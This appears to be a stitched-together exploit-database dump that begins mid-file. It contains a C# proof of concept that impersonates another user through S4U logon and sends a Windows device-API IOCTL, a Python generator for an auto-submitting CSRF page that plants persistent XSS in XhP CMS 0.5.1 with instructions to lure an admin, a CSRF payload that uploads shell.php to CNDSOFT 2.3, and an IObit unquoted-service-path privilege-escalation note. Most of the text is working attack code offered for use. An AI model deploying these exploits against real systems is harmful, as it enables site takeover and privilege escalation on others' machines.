              _string.Buffer = IntPtr.Zero;
            }
            if (disposing)
              GC.SuppressFinalize(this);
          }

          #region IDisposable Members

          public void Dispose()
          {
            Dispose(true);
          }

          #endregion
        }

        public class KerbS4ULogon : IDisposable
        {
          [StructLayout(LayoutKind.Sequential)]
          public struct KERB_S4U_LOGON
          {
            public Int32 MessageType;    // Should be 12
            public Int32 Flags; // Reserved, should be 0
            public LSA_UNICODE_STRING ClientUpn;   // REQUIRED: UPN for client
            public LSA_UNICODE_STRING ClientRealm; // Optional: Client Realm, if known
          }

          public KerbS4ULogon(string clientUpn) : this(clientUpn, null)
          {
          }

          public KerbS4ULogon(string clientUpn, string clientRealm)
          {
            int clientUpnLen = (clientUpn == null) ? 0 : clientUpn.Length;
            int clientRealmLen = (clientRealm == null) ? 0 : clientRealm.Length;
            _bufferLength = Marshal.SizeOf(typeof(KERB_S4U_LOGON)) + 2 * (clientUpnLen + clientRealmLen);
            _bufferContent = Marshal.AllocHGlobal(_bufferLength);
            if (_bufferContent == IntPtr.Zero)
              throw new OutOfMemoryException("Could not allocate memory for KerbS4ULogon structure");
            try
            {
              KERB_S4U_LOGON baseStructure = new KERB_S4U_LOGON();
              baseStructure.MessageType = 12;    // KerbS4ULogon
              baseStructure.Flags = 0;
              baseStructure.ClientUpn.Length = (UInt16)(2 * clientUpnLen);
              baseStructure.ClientUpn.MaximumLength = (UInt16)(2 * clientUpnLen);
              IntPtr curPtr = new IntPtr(_bufferContent.ToInt64() + Marshal.SizeOf(typeof(KERB_S4U_LOGON)));

              if (clientUpnLen > 0)
              {
                baseStructure.ClientUpn.Buffer = curPtr;
                Marshal.Copy(clientUpn.ToCharArray(), 0, curPtr, clientUpnLen);
                curPtr = new IntPtr(curPtr.ToInt64() + clientUpnLen * 2);
              }
              else
                baseStructure.ClientUpn.Buffer = IntPtr.Zero;
              baseStructure.ClientRealm.Length = (UInt16)(2 * clientRealmLen);
              baseStructure.ClientRealm.MaximumLength = (UInt16)(2 * clientRealmLen);
              if (clientRealmLen > 0)
              {
                baseStructure.ClientRealm.Buffer = curPtr;
                Marshal.Copy(clientRealm.ToCharArray(), 0, curPtr, clientRealmLen);
              }
              else
                baseStructure.ClientRealm.Buffer = IntPtr.Zero;
              Marshal.StructureToPtr(baseStructure, _bufferContent, false);
            }
            catch
            {
              Dispose(true);
              throw;
            }
          }

          private IntPtr _bufferContent;
          private int _bufferLength;

          public IntPtr Ptr
          {
            get { return _bufferContent; }
          }

          public int Length
          {
            get { return _bufferLength; }
          }

          private void Dispose(bool disposing)
          {
            if (_bufferContent != IntPtr.Zero)
            {
              Marshal.FreeHGlobal(_bufferContent);
              _bufferContent = IntPtr.Zero;
            }
            if (disposing)
              GC.SuppressFinalize(this);
          }

          ~KerbS4ULogon()
          {
            Dispose(false);
          }

          #region IDisposable Members

          public void Dispose()
          {
            Dispose(true);
          }

          #endregion
        }

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = false)]
        public static extern WinErrors LsaNtStatusToWinError(WinStatusCodes status);

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern bool AllocateLocallyUniqueId([Out] out UInt64 Luid);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern int CloseHandle(IntPtr hObject);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaLogonUser(
            [In] IntPtr LsaHandle,
            [In] ref LSA_STRING OriginName,
            [In] SecurityLogonType LogonType,
            [In] UInt32 AuthenticationPackage,
            [In] IntPtr AuthenticationInformation,
            [In] UInt32 AuthenticationInformationLength,
            [In] /*PTOKEN_GROUPS*/ IntPtr LocalGroups,
            [In] ref TOKEN_SOURCE SourceContext,
            [Out] /*PVOID*/ out IntPtr ProfileBuffer,
            [Out] out UInt32 ProfileBufferLength,
            [Out] out Int64 LogonId,
            [Out] out IntPtr Token,
            [Out] out QUOTA_LIMITS Quotas,
            [Out] out WinStatusCodes SubStatus
            );

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaFreeReturnBuffer(
            [In] IntPtr buffer);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaConnectUntrusted([Out] out IntPtr LsaHandle);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaDeregisterLogonProcess([In] IntPtr LsaHandle);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING PackageName, [Out] out UInt32 AuthenticationPackage);

      }

      public sealed class HandleSecurityToken
          : IDisposable
      {
        private IntPtr m_hToken = IntPtr.Zero;

        // using S4U logon
        public HandleSecurityToken(string UserName,
            string Domain,
            OSCalls.WinLogonType LogonType
            )
        {
          using (OSCalls.KerbS4ULogon authPackage = new OSCalls.KerbS4ULogon(UserName, Domain))
          {
            IntPtr lsaHandle;
            OSCalls.WinStatusCodes status = OSCalls.LsaConnectUntrusted(out lsaHandle);
            if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS)
              throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status));
            try
            {
              UInt32 kerberosPackageId;
              using (OSCalls.LsaStringWrapper kerberosPackageName = new OSCalls.LsaStringWrapper("Negotiate"))
              {
                status = OSCalls.LsaLookupAuthenticationPackage(lsaHandle, ref kerberosPackageName._string, out kerberosPackageId);
                if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS)
                  throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status));
              }
              OSCalls.LsaStringWrapper originName = null;
              try
              {
                originName = new OSCalls.LsaStringWrapper("S4U");
                OSCalls.TOKEN_SOURCE sourceContext = new OSCalls.TOKEN_SOURCE("NtLmSsp");
                System.IntPtr profileBuffer = IntPtr.Zero;
                UInt32 profileBufferLength = 0;
                Int64 logonId;
                OSCalls.WinStatusCodes subStatus;
                OSCalls.QUOTA_LIMITS quotas;
                status = OSCalls.LsaLogonUser(
                    lsaHandle,
                    ref originName._string,
                    (OSCalls.SecurityLogonType)LogonType,
                    kerberosPackageId,
                    authPackage.Ptr,
                    (uint)authPackage.Length,
                    IntPtr.Zero,
                    ref sourceContext,
                    out profileBuffer,
                    out profileBufferLength,
                    out logonId,
                    out m_hToken,
                    out quotas,
                    out subStatus);
                if (status != OSCalls.WinStatusCodes.STATUS_SUCCESS)
                  throw new System.ComponentModel.Win32Exception((int)OSCalls.LsaNtStatusToWinError(status));
                if (profileBuffer != IntPtr.Zero)
                  OSCalls.LsaFreeReturnBuffer(profileBuffer);
              }
              finally
              {
                if (originName != null)
                  originName.Dispose();
              }
            }
            finally
            {
              OSCalls.LsaDeregisterLogonProcess(lsaHandle);
            }
          }
        }

        ~HandleSecurityToken()
        {
          Dispose(false);
        }

        public void Dispose()
        {
          Dispose(true);
        }

        private void Dispose(bool disposing)
        {
          lock (this)
          {
            if (!m_hToken.Equals(IntPtr.Zero))
            {
              OSCalls.CloseHandle(m_hToken);
              m_hToken = IntPtr.Zero;
            }
            if (disposing)
              GC.SuppressFinalize(this);
          }
        }

        public System.Security.Principal.WindowsIdentity BuildIdentity()
        {
          System.Security.Principal.WindowsIdentity retVal = new System.Security.Principal.WindowsIdentity(m_hToken);
          GC.KeepAlive(this);
          return retVal;
        }
      }

    }

    #endregion

    /// <summary>
    /// The Windows Logon Types.
    /// </summary>
    public enum WinLogonType
    {
      /// <summary>
      /// Interactive logon
      /// </summary>
      LOGON32_LOGON_INTERACTIVE = Win32.OSCalls.WinLogonType.LOGON32_LOGON_INTERACTIVE,
      /// <summary>
      /// Network logon
      /// </summary>
      LOGON32_LOGON_NETWORK = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NETWORK,
      /// <summary>
      /// Batch logon
      /// </summary>
      LOGON32_LOGON_BATCH = Win32.OSCalls.WinLogonType.LOGON32_LOGON_BATCH,
      /// <summary>
      /// Logon as a service
      /// </summary>
      LOGON32_LOGON_SERVICE = Win32.OSCalls.WinLogonType.LOGON32_LOGON_SERVICE,
      /// <summary>
      /// Unlock logon
      /// </summary>
      LOGON32_LOGON_UNLOCK = Win32.OSCalls.WinLogonType.LOGON32_LOGON_UNLOCK,
      /// <summary>
      /// Preserve password logon
      /// </summary>
      LOGON32_LOGON_NETWORK_CLEARTEXT = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NETWORK_CLEARTEXT,
      /// <summary>
      /// Current token for local access, credentials for network access
      /// </summary>
      LOGON32_LOGON_NEW_CREDENTIALS = Win32.OSCalls.WinLogonType.LOGON32_LOGON_NEW_CREDENTIALS
    }

    /// <summary>
    /// Logs in a credential for server apps. No need to provide password.
    /// </summary>
    /// <param name="credential">The credential to log in. Password is ignored.</param>
    /// <param name="logonType">The type of logon to use</param>
    /// <remarks>
    /// Requires Windows Server 2003 domain account running in Win2003 native domain mode
    /// </remarks>
    /// <returns>Returns a <c>System.Security.Principal.WindowsIdentity</c> object</returns>
    /// Raises an exception with error information if the user cannot log in
    public static System.Security.Principal.WindowsIdentity CreateIdentityS4U(System.Net.NetworkCredential credential, WinLogonType logonType)
    {
      using (Win32.HandleSecurityToken handleToken =
                  new Win32.HandleSecurityToken(credential.UserName, credential.Domain, (Win32.OSCalls.WinLogonType)logonType))
        return handleToken.BuildIdentity();
    }


    class Program
    {
      [Flags]
      public enum AttributeFlags : uint
      {
        None = 0,
        Inherit = 0x00000002,
        Permanent = 0x00000010,
        Exclusive = 0x00000020,
        CaseInsensitive = 0x00000040,
        OpenIf = 0x00000080,
        OpenLink = 0x00000100,
        KernelHandle = 0x00000200,
        ForceAccessCheck = 0x00000400,
        IgnoreImpersonatedDevicemap = 0x00000800,
        DontReparse = 0x00001000,
      }

      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
      public sealed class UnicodeString
      {
        ushort Length;
        ushort MaximumLength;
        [MarshalAs(UnmanagedType.LPWStr)]
        string Buffer;

        public UnicodeString(string str)
        {
          Length = (ushort)(str.Length * 2);
          MaximumLength = (ushort)((str.Length * 2) + 1);
          Buffer = str;
        }
      }

      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
      public sealed class ObjectAttributes : IDisposable
      {
        int Length;
        IntPtr RootDirectory;
        IntPtr ObjectName;
        AttributeFlags Attributes;
        IntPtr SecurityDescriptor;
        IntPtr SecurityQualityOfService;

        private static IntPtr AllocStruct(object s)
        {
          int size = Marshal.SizeOf(s);
          IntPtr ret = Marshal.AllocHGlobal(size);
          Marshal.StructureToPtr(s, ret, false);
          return ret;
        }

        private static void FreeStruct(ref IntPtr p, Type struct_type)
        {
          Marshal.DestroyStructure(p, struct_type);
          Marshal.FreeHGlobal(p);
          p = IntPtr.Zero;
        }

        public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr rootkey)
        {
          Length = Marshal.SizeOf(this);
          if (object_name != null)
          {
            ObjectName = AllocStruct(new UnicodeString(object_name));
          }
          Attributes = flags;
          RootDirectory = rootkey;
        }

        public ObjectAttributes(string object_name, AttributeFlags flags)
          : this(object_name, flags, IntPtr.Zero)
        {
        }

        public void Dispose()
        {
          if (ObjectName != IntPtr.Zero)
          {
            FreeStruct(ref ObjectName, typeof(UnicodeString));
          }
          GC.SuppressFinalize(this);
        }

        ~ObjectAttributes()
        {
          Dispose();
        }
      }

      [Flags]
      public enum LoadKeyFlags
      {
        None = 0,
        AppKey = 0x10,
        Exclusive = 0x20,
        Unknown800 = 0x800,
        ReadOnly = 0x2000,
      }

      [Flags]
      public enum GenericAccessRights : uint
      {
        None = 0,
        GenericRead = 0x80000000,
        GenericWrite = 0x40000000,
        GenericExecute = 0x20000000,
        GenericAll = 0x10000000,
        Delete = 0x00010000,
        ReadControl = 0x00020000,
        WriteDac = 0x00040000,
        WriteOwner = 0x00080000,
        Synchronize = 0x00100000,
        MaximumAllowed = 0x02000000,
      }

      public class NtException : ExternalException
      {
        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string modulename);

        [Flags]
        enum FormatFlags
        {
          AllocateBuffer = 0x00000100,
          FromHModule = 0x00000800,
          FromSystem = 0x00001000,
          IgnoreInserts = 0x00000200
        }

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern int FormatMessage(
          FormatFlags dwFlags,
          IntPtr lpSource,
          int dwMessageId,
          int dwLanguageId,
          out IntPtr lpBuffer,
          int nSize,
          IntPtr Arguments
        );

        [DllImport("kernel32.dll")]
        private static extern IntPtr LocalFree(IntPtr p);

        private static string StatusToString(int status)
        {
          IntPtr buffer = IntPtr.Zero;
          try
          {
            if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
                GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
            {
              return Marshal.PtrToStringUni(buffer);
            }
          }
          finally
          {
            if (buffer != IntPtr.Zero)
            {
              LocalFree(buffer);
            }
          }
          return String.Format("Unknown Error: 0x{0:X08}", status);
        }

        public NtException(int status) : base(StatusToString(status))
        {
        }
      }

      public static void StatusToNtException(int status)
      {
        if (status < 0)
        {
          throw new NtException(status);
        }
      }


      [Flags]
      public enum FileOpenOptions
      {
        None = 0,
        DirectoryFile = 0x00000001,
        WriteThrough = 0x00000002,
        SequentialOnly = 0x00000004,
        NoIntermediateBuffering = 0x00000008,
        SynchronousIoAlert = 0x00000010,
        SynchronousIoNonAlert = 0x00000020,
        NonDirectoryFile = 0x00000040,
        CreateTreeConnection = 0x00000080,
        CompleteIfOplocked = 0x00000100,
        NoEaKnowledge = 0x00000200,
        OpenRemoteInstance = 0x00000400,
        RandomAccess = 0x00000800,
        DeleteOnClose = 0x00001000,
        OpenByFileId = 0x00002000,
        OpenForBackupIntent = 0x00004000,
        NoCompression = 0x00008000,
        OpenRequiringOplock = 0x00010000,
        ReserveOpfilter = 0x00100000,
        OpenReparsePoint = 0x00200000,
        OpenNoRecall = 0x00400000,
        OpenForFreeSpaceQuery = 0x00800000
      }

      public class IoStatusBlock
      {
        public IntPtr Pointer;
        public IntPtr Information;

        public IoStatusBlock(IntPtr pointer, IntPtr information)
        {
          Pointer = pointer;
          Information = information;
        }

        public IoStatusBlock()
        {
        }
      }

      [Flags]
      public enum ShareMode
      {
        None = 0,
        Read = 0x00000001,
        Write = 0x00000002,
        Delete = 0x00000004,
      }

      [Flags]
      public enum FileAccessRights : uint
      {
        None = 0,
        ReadData = 0x0001,
        WriteData = 0x0002,
        AppendData = 0x0004,
        ReadEa = 0x0008,
        WriteEa = 0x0010,
        Execute = 0x0020,
        DeleteChild = 0x0040,
        ReadAttributes = 0x0080,
        WriteAttributes = 0x0100,
        GenericRead = 0x80000000,
        GenericWrite = 0x40000000,
        GenericExecute = 0x20000000,
        GenericAll = 0x10000000,
        Delete = 0x00010000,
        ReadControl = 0x00020000,
        WriteDac = 0x00040000,
        WriteOwner = 0x00080000,
        Synchronize = 0x00100000,
        MaximumAllowed = 0x02000000,
      }

      [DllImport("ntdll.dll")]
      public static extern int NtOpenFile(
          out IntPtr FileHandle,
          FileAccessRights DesiredAccess,
          ObjectAttributes ObjAttr,
          [In] [Out] IoStatusBlock IoStatusBlock,
          ShareMode ShareAccess,
          FileOpenOptions OpenOptions);

      [DllImport("ntdll.dll")]
      public static extern int NtDeviceIoControlFile(
        SafeFileHandle FileHandle,
        IntPtr Event,
        IntPtr ApcRoutine,
        IntPtr ApcContext,
        [In] [Out] IoStatusBlock IoStatusBlock,
        uint IoControlCode,
        SafeHGlobalBuffer InputBuffer,
        int InputBufferLength,
        SafeHGlobalBuffer OutputBuffer,
        int OutputBufferLength
      );

      static T DeviceIoControl<T>(SafeFileHandle FileHandle, uint IoControlCode, object input_buffer)
      {
        using (SafeStructureOutBuffer<T> output = new SafeStructureOutBuffer<T>())
        {
          using (SafeStructureBuffer input = new SafeStructureBuffer(input_buffer))
          {
            IoStatusBlock status = new IoStatusBlock();
            StatusToNtException(NtDeviceIoControlFile(FileHandle, IntPtr.Zero, IntPtr.Zero,
              IntPtr.Zero, status, IoControlCode, input, input.Length,
              output, output.Length));

            return output.Result;
          }
        }
      }

      public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
      {
        AttributeFlags flags = AttributeFlags.CaseInsensitive;
        if (inherit)
          flags |= AttributeFlags.Inherit;
        using (ObjectAttributes obja = new ObjectAttributes(name, flags))
        {
          IntPtr handle;
          IoStatusBlock iostatus = new IoStatusBlock();
          StatusToNtException(NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions));
          return new SafeFileHandle(handle, true);
        }
      }

      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
      class CmApiOpenKeyData
      {
        public int cbSize; // 0
        public int device_type; // 4
        public int callback_id; // 8
        [MarshalAs(UnmanagedType.LPWStr)]
        public string name;  // c
        public int name_size; // 10
        public GenericAccessRights desired_access; // 14	
        public int create; // 18
        public int hardware_id; // 1c
        public int return_data_size; // 20

        public CmApiOpenKeyData(int device_type, int callback_id, string name, GenericAccessRights desired_access, bool create, int hardware_id, int return_data_size)
        {
          this.cbSize = Marshal.SizeOf(this);
          this.device_type = device_type;
          this.callback_id = callback_id;
          this.name = name;
          this.name_size = (name.Length + 1) * 2;
          this.desired_access = desired_access;
          this.create = create ? 1 : 0;
          this.hardware_id = hardware_id;
          this.return_data_size = return_data_size;
        }
      }

      [StructLayout(LayoutKind.Sequential)]
      class CmApiOpenKeyResult
      {
        int size;
        public int status;
        public long handle;
      };

      public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
      {
        public SafeHGlobalBuffer(int length)
          : this(Marshal.AllocHGlobal(length), length, true)
        {
        }

        public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
          : base(owns_handle)
        {
          Length = length;
          SetHandle(buffer);
        }

        public int Length
        {
          get; private set;
        }

        protected override bool ReleaseHandle()
        {
          if (!IsInvalid)
          {
            Marshal.FreeHGlobal(handle);
            handle = IntPtr.Zero;
          }
          return true;
        }
      }

      public class SafeStructureBuffer : SafeHGlobalBuffer
      {
        Type _type;

        public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
        {
          _type = value.GetType();
          Marshal.StructureToPtr(value, handle, false);
        }

        protected override bool ReleaseHandle()
        {
          if (!IsInvalid)
          {
            Marshal.DestroyStructure(handle, _type);
          }
          return base.ReleaseHandle();
        }
      }

      public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
      {
        public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
        {
        }

        public T Result
        {
          get
          {
            if (IsInvalid)
              throw new ObjectDisposedException("handle");

            return Marshal.PtrToStructure<T>(handle);
          }
        }
      }

      static void EnumKeys(RegistryKey rootkey, IEnumerable<string> name_parts, List<string> names, int maxdepth, int current_depth)
      {
        if (current_depth == maxdepth)
        {
          names.Add(String.Join(@"\", name_parts));
        }
        else
        {
          foreach (string subkey in rootkey.GetSubKeyNames())
          {
            using (RegistryKey key = rootkey.OpenSubKey(subkey))
            {
              if (key != null)
              {
                EnumKeys(key, name_parts.Concat(new string[] { subkey }), names, maxdepth, current_depth + 1);
              }
            }
          }
        }
      }

      static IEnumerable<string> GetValidDeviceNames()
      {
        List<string> names = new List<string>();
        using (RegistryKey rootkey = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Enum"))
        {
          EnumKeys(rootkey, new string[0], names, 3, 0);
        }
        return names;
      }      

      static void CreateDeviceKey(string device_name, WindowsIdentity identity)
      {
        using (SafeFileHandle handle = OpenFile(@"\Device\DeviceApi\CMApi", FileAccessRights.Synchronize | FileAccessRights.GenericRead | FileAccessRights.GenericWrite,
          ShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, false))
        {
          CmApiOpenKeyData data = new CmApiOpenKeyData(0x111, 1, device_name, GenericAccessRights.MaximumAllowed, true, 0, Marshal.SizeOf(typeof(CmApiOpenKeyResult)));
          CmApiOpenKeyResult result = null;
          WindowsImpersonationContext ctx = null;
          if (identity != null)
          {
            ctx = identity.Impersonate();
          }
          try
          {
            result = DeviceIoControl<CmApiOpenKeyResult>(handle, 0x47085B, data);
          }
          finally
          {
            if (ctx != null)
            {
              ctx.Undo();
            }
          }

          StatusToNtException(result.status);
        }
      }

      static bool DoExploit(string username)
      {
        try
        {
          WindowsIdentity id = CCWinLogonUtilities.CreateIdentityS4U(new NetworkCredential(username, "", Environment.UserDomainName),
            CCWinLogonUtilities.WinLogonType.LOGON32_LOGON_NETWORK);
          bool found_hive = false;
          foreach (string subkey in Registry.Users.GetSubKeyNames())
          {
            string user_name = id.User.ToString();
            if (subkey.Equals(user_name, StringComparison.OrdinalIgnoreCase))
            {
              found_hive = true;
              break;
            }
          }

          if (!found_hive)
          {
            throw new ArgumentException("Couldn't find user hive, make sure the user's logged on");
          }
                    
          string device_name = GetValidDeviceNames().First();          
          Console.WriteLine("[SUCCESS]: Found Device: {0}", device_name);
          
          CreateDeviceKey(device_name, id);
        }
        catch (Exception ex)
        {
          Console.WriteLine("[ERROR]: {0}", ex.ToString());
        }

        return false;
      }

      static int GetSessionId()
      {
        using (Process p = Process.GetCurrentProcess())
        {
          return p.SessionId;
        }
      }

      static void Main(string[] args)
      {
        if (args.Length < 1)
        {
          Console.WriteLine("Usage: PoC username");
        }
        else
        {
          DoExploit(args[0]);
        }
      }
    }
  }
}
            
# Exploit Title: XhP CMS 0.5.1 - Cross-Site Request Forgery to Persistent Cross-Site Scripting
# Exploit Author: Ahsan Tahir
# Date: 19-10-2016
# Software Link: https://sourceforge.net/projects/xhp/
# Vendor: https://sourceforge.net/projects/xhp/
# Google Dork: inurl:Powered by XHP CMS
# Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial
# Website: www.ahsan-tahir.com
# Category: webapps
# Version: 0.5.1
# Tested on: [Kali Linux 2.0 | Windows 8.1]
# Email: mrahsan1337@gmail.com

import os
import urllib

if os.name == 'nt':
		os.system('cls')
else:
	os.system('clear')

banner = '''
+-==-==-==-==-==-==-==-==-==-==-==-==-==-=-=-=+
|  __  ___     ____     ____ __  __ ____      |
|  \ \/ / |__ |  _ \   / ___|  \/  / ___|     |
|   \  /| '_ \| |_) | | |   | |\/| \___ \     |
|   /  \| | | |  __/  | |___| |  | |___) |    |
|  /_/\_\_| |_|_|      \____|_|  |_|____/     | 
| > XhP CMS 0.5.1 - CSRF to Persistent XSS    |
| > Exploit Author & Script Coder: Ahsan Tahir|
+=====-----=====-----======-----=====---==-=-=+ 
'''
def xhpcsrf():

	print banner

	url = str(raw_input(" [+] Enter The Target URL (Please include http:// or https://): "))

	csrfhtmlcode = '''
	<html>
	  <!-- CSRF PoC -->
	  <body>
	    <form action="http://%s/action.php?module=users&action=process_general_config&box_id=29&page_id=0&basename=index.php&closewindow=&from_page=page=0&box_id=29&action=display_site_settings&errcode=0" method="POST" enctype="multipart/form-data" name="exploit">
	      <input type="hidden" name="frmPageTitle" value=""accesskey&#61;z&#32;onclick&#61;"alert&#40;document&#46;domain&#41;" />
	      <input type="hidden" name="frmPageUrl" value="http&#58;&#47;&#47;localhost&#47;xhp&#47;" />
	      <input type="hidden" name="frmPageDescription" value="&#13;" />
	      <input type="hidden" name="frmLanguage" value="english" />
	      <input type="submit" value="Submit request" />
	    </form>
		<script type="text/javascript" language="JavaScript">
		//submit form
		document.exploit.submit();
		</script>    
	  </body>
	</html>

	''' % url

	print " +----------------------------------------------------+\n [!] The HTML exploit code for exploiting this CSRF has been created."

	print(" [!] Enter your Filename below\n Note: The exploit will be saved as 'filename'.html \n")
	extension = ".html"
	name = raw_input(" Filename: ")
	filename = name+extension
	file = open(filename, "w")

	file.write(csrfhtmlcode)
	file.close()
	print(" [+] Your exploit is saved as %s")%filename
	print(" [+] Further Details:\n [!] The code saved in %s will automatically submit without\n any user interaction\n [!] To fully exploit, send the admin of this site a webpage with\n the above code injected in it, when he/she will open it the\n title of their website will be\n changed to an XSS payload, and then\n go to %s and hit ALT+SHIFT+Z on your keyboard, boom! XSS will pop-up!") %(filename, url)
	print("")
	
xhpcsrf()	
            
*=========================================================================================================
# Exploit Title:  CNDSOFT 2.3 - Arbitrary File Upload with CSRF (shell.php)
# Author: Besim
# Google Dork: -
# Date: 19/10/2016
# Type: webapps
# Platform : PHP
# Vendor Homepage: -
# Software Link: http://www.phpexplorer.com/Goster/1227
# Version: 2.3
*=========================================================================================================


Vulnerable URL and Parameter
========================================

Vulnerable URL = http://www.site_name/path/ofis/index.php?is=kullanici_tanimla

Vulnerable Parameter = &mesaj_baslik


TECHNICAL DETAILS & POC & POST DATA
========================================

POST /ofis/index.php?is=kullanici_tanimla HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0)
Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site_name/ofis/index.php?is=kullanici_tanimla
——
Content-Type: multipart/form-data;
boundary=---------------------------5035863528338
Content-Length: 1037

-----------------------------5035863528338
Content-Disposition: form-data; name="utf8"

✓
-----------------------------5035863528338
Content-Disposition: form-data; name="authenticity_token"

CFC7d00LWKQsSahRqsfD+e/mHLqbaVIXBvlBGe/KP+I=
-----------------------------5035863528338
Content-Disposition: form-data; name="kullanici_adi"

meryem
-----------------------------5035863528338
Content-Disposition: form-data; name="kullanici_sifresi"

meryem
-----------------------------5035863528338
Content-Disposition: form-data; name="kullanici_mail_adresi"
m@yop.com
-----------------------------5035863528338
Content-Disposition: form-data; name="MAX_FILE_SIZE"

30000
-----------------------------5035863528338
Content-Disposition: form-data; name="*kullanici_resmi*"; *filename*="shell.php"
Content-Type: application/octet-stream
*<?php
	phpinfo();

 ?>*
-----------------------------5035863528338
Content-Disposition: form-data; name="personel_maasi"

5200
-----------------------------5035863528338--


*CSRF PoC - File Upload (Shell.php)*

========================================

<html>
  <!-- CSRF PoC -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "
http://site_name/ofis/index.php?is=kullanici_tanimla", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------5035863528338");
        xhr.withCredentials = true;
        var body = "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"utf8\"\r\n" +
          "\r\n" +
          "\xe2\x9c\x93\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"authenticity_token\"\r\n"
+
          "\r\n" +
          "CFC7d00LWKQsSahRqsfD+e/mHLqbaVIXBvlBGe/KP+I=\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_adi\"\r\n" +
          "\r\n" +
          "meryem\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_sifresi\"\r\n"
+
          "\r\n" +
          "meryem\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_mail_adresi\"\r\n" +
          "\r\n" +
          "m@yop.com\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
          "\r\n" +
          "30000\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_resmi\"; filename=\"shell.php\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\x3c?php \r\n" +
          "\tphpinfo();\r\n" +
          "\r\n" +
          " ?\x3e\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"personel_maasi\"\r\n" +
          "\r\n" +
          "5200\r\n" +
          "-----------------------------5035863528338--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </body>
</html>

========================================

*Access File : *http://www.site_name/path/personel_resimleri/shell.php


RISK
========================================

Attacker can arbitrary file upload.


--

Besim ALTINOK
            
#########################################################################
# Exploit Title: IObit Advanced SystemCare Unquoted Service Path Privilege Escalation
# Date: 19/10/2016
# Author: Ashiyane Digital Security Team
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link: http://www.iobit.com/en/advancedsystemcarefree.php#
# version : 10.0.2  (Latest)
# Tested on: Windows 7
##########################################################################

IObit Advanced SystemCare installs a service with an unquoted service path
To properly exploit this vulnerability, the local attacker must insert
an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc AdvancedSystemCareService10
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AdvancedSystemCareService10
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\IObit\Advanced SystemCare\ASCService.exe
        LOAD_ORDER_GROUP   : System Reserved
        TAG                : 1
        DISPLAY_NAME       : Advanced SystemCare Service 10
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
